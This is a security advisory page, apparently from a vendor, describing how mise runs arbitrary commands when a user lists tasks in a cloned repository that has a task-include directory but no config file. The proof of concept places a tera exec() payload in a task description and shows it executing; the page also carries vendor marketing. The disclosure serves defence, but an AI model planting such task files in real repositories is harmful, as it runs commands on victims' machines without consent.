GHSA-77g9-363w-rccq
HIGHGHSA-77g9-363w-rccq is a high-severity (CVSS 8.6) OS Command Injection vulnerability in mise. O3 Security confirms whether GHSA-77g9-363w-rccq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-77g9-363w-rccq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-77g9-363w-rccq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
miseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task
Details
Trust is enforced only inside config-file parsing:
src/config/config_file/mise_toml.rs:276—MiseToml::from_str→trust_check(path)?src/config/config_file/tool_versions.rs:62—.tool-versionsparser →trust_check(&path)?src/config/env_directive/mod.rs:681— env templates →trust_check(path)?(only when the value contains template syntax)
Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context,
which walk every directory from CWD up to root. For each directory, configs_at_root
returns the parsed (trusted) configs rooted there; if there is no config in the
directory, mise falls back to the default task-include list resolved relative to that
directory and loads whatever it finds — with no trust check:
src/config/mod.rs (load_tasks_in_dir, ~2586):
let (includes, resolve_dir) = configs
.iter()
.find_map(|cf| match cf.task_config_includes() { … })
.transpose()?
.unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
let paths = … expand_task_include(&resolve_dir, include);
for p in paths {
let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
…
}
}
default_task_includes() (src/config/mod.rs:1825):
vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]
load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check
and renders each task:
let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec()
Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera
instance is built with get_tera(Some(config_root)):
let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}
get_tera (src/tera.rs:407) registers the command-executing functions:
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}
So a tera {{ exec(command='…') }} placed in any rendered task field
(description, dir, shell, sources, aliases, depends, tools, …) of a TOML
task file — or in a #MISE description="…" header of an executable script task
(Task::from_path) — executes when the task is merely loaded for listing, with no
trust prompt. exec() is not gated by experimental (default experimental = false).
Proof of concept
Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a
pristine HOME so nothing is pre-trusted.
Repo layout :
malicious-repo/
└── mise-tasks/
└── ci.toml
mise-tasks/ci.toml:
[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"
Trigger (any of these; a victim who has mise activate set up hits the last one by just
pressing Tab to complete a task name):
export HOME="$(mktemp -d)" # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks # or: mise task ls / mise run / mise tasks --usage
output:
test
and the side effect :
miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | mise | all versions | 2026.6.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mise to 2026.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-77g9-363w-rccq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-77g9-363w-rccq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-77g9-363w-rccq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-77g9-363w-rccq in your dependencies?
O3 detects GHSA-77g9-363w-rccq across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.